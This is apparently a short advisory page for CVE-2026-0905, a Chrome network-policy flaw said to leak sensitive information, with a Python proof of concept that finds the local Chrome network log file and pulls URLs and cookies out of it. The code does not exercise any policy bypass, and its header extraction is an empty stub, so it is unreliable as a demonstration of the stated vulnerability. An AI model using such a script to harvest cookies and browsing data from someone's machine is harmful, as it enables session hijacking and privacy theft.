CVE-2026-0905: Google Chrome网络策略执行不足导致敏感信息泄露

# CVE-2026-0905 PoC - Network Log File Access # This PoC demonstrates accessing Chrome network log files import os import json import sys def get_chrome_network_log_path(): """Get Chrome network log file path based on OS""" if sys.platform == 'win32': base_path = os.path.expanduser('~') log_path = os.path.join(base_path, 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'chrome_net_log.json') elif sys.platform == 'darwin': log_path = os.path.expanduser('~/Library/Application Support/Google/Chrome/chrome_net_log.json') else: log_path = os.path.expanduser('~/.config/google-chrome/chrome_net_log.json') return log_path def parse_network_log(log_file_path): """Parse Chrome network log and extract sensitive information""" sensitive_data = [] try: with open(log_file_path, 'r', encoding='utf-8') as f: log_content = f.read() # Extract URLs urls = extract_urls(log_content) # Extract headers headers = extract_headers(log_content) # Extract cookies cookies = extract_cookies(log_content) return { 'urls': urls, 'headers': headers, 'cookies': cookies } except FileNotFoundError: print(f"Log file not found: {log_file_path}") except Exception as e: print(f"Error reading log: {e}") return None def extract_urls(content): """Extract URLs from log content""" import re url_pattern = r'https?://[^\s"<>]+' return re.findall(url_pattern, content) def extract_headers(content): """Extract HTTP headers from log""" # Implementation depends on log format return [] def extract_cookies(content): """Extract cookie information""" import re cookie_pattern = r'cookie[^:]*:[^\n]+' return re.findall(cookie_pattern, content) if __name__ == '__main__': log_path = get_chrome_network_log_path() print(f"Analyzing network log: {log_path}") data = parse_network_log(log_path) if data: print(json.dumps(data, indent=2))